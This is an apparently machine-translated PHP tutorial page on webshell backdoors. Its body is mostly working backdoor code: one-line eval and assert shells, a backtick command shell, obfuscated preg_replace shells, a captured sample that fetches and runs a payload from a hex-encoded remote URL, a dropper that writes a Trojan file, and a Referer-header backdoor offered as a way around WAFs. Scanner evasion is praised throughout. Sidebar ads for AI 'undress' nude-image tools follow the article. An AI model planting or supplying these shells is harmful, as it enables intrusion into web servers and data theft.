


Teach you to identify simple PHP backdoors without checking and killing_php skills
One of the most common one-sentence backdoors might be written like this
<?php @eval($_POST['cmd']);?>
or this
<?php @assert($_POST['cmd']);?>
Student tudouya gave [a construction technique] on FREEBUF using
Construction generation, of course, if it is too intuitive, you can write it like this
Then fill in some ordinary code to disguise it, and a simple "anti-kill" shell sample appears
Let’s take a look at what is known as the easiest PHP backdoor in history
Go directly to the code:
<?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /******************************************************* * 原理:PHP中``符号包含会当作系统命令执行 * 示例:http://host/?c=type%20config.php>config.txt * 然后就可以下载config.txt查看内容了! * 可以试试更变态的命令,不要干坏事哦! *******************************************************/
The implementation principle is that PHP will directly parse the content contained in the ` symbol (note: not single quotes) into system commands for execution! This way you can expand freely and abnormally!
Let’s look at the same simple piece of code
<?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); ?>
Password page
Recently captured a webshell sample based on PHP. Its ingenious dynamic code generation method and cumbersome self-page disguise method made us feel a lot of fun in the process of analyzing this sample. Next, let us enjoy this wonderful Webshell together.
Webshell code is as follows:
<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api'])) $_SESSION['api']=substr(file_get_contents( sprintf('%s?%s',pack("H*", '687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649); @preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null); ?>
The key is to look at the following code,
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
After execution here, it is actually a picture. The decrypted picture address is as follows:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
Then call the file_get_contents function to read the image into a string, then substr takes the content after 3649 bytes, and then call gzuncompress to decompress to get the real code. Finally, the modifier e of preg_replace is called to execute the malicious code. Execute the following statement here to restore the malicious sample code,
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
Hide PHP without features in one sentence:
<?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?>
Assign the content of $_POST['code'] to $_SESSION['theCode'], and then execute $_SESSION['theCode']. The highlight is that there is no feature code. If you use a scanning tool to check the code, it will not alarm you, which is the purpose.
Super hidden PHP backdoor:
<?php $_GET [a]( $_GET [b]);?>
Just using the GET function constitutes a Trojan horse;
How to use:
?a=assert&b=${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))};
After execution, the current directory will generate a c.php Trojan with one sentence. When the parameter a is eval, an error will be reported that the Trojan generation failed. When it is assert, the same error will be reported, but the Trojan will be generated. It is really not to be underestimated. It is a simple sentence. , is extended to such applications.
Hierarchical request, coded to run PHP backdoor:
This method is implemented in two files, file 1
<?php //1.php header( 'Content-type:text/html;charset=utf-8' ); parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); } ?>
File 2
<?php //2.php header( 'Content-type:text/html;charset=utf-8' ); //要执行的代码 $code = <<<CODE phpinfo(); CODE; //进行base64编码 $code = base64_encode ( $code ); //构造referer字符串 $referer = "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=" ; //后门url $url = 'http://localhost/test1/1.php ' ; $ch = curl_init(); $options = array ( CURLOPT_URL => $url , CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array( $ch , $options ); echocurl_exec( $ch ); ?>
Use HTTP_REFERER in the HTTP request to run the base64-encoded code to achieve the backdoor effect. Generally, WAF has a looser or no detection of referer. It is good to use this idea to bypass waf.
We treat these PHP backdoor programs with a learning attitude. Many PHP backdoor codes let us see how well-intentioned the programmers are.

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics



Alipay PHP...

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

Article discusses late static binding (LSB) in PHP, introduced in PHP 5.3, allowing runtime resolution of static method calls for more flexible inheritance.Main issue: LSB vs. traditional polymorphism; LSB's practical applications and potential perfo

Sending JSON data using PHP's cURL library In PHP development, it is often necessary to interact with external APIs. One of the common ways is to use cURL library to send POST�...

Article discusses essential security features in frameworks to protect against vulnerabilities, including input validation, authentication, and regular updates.
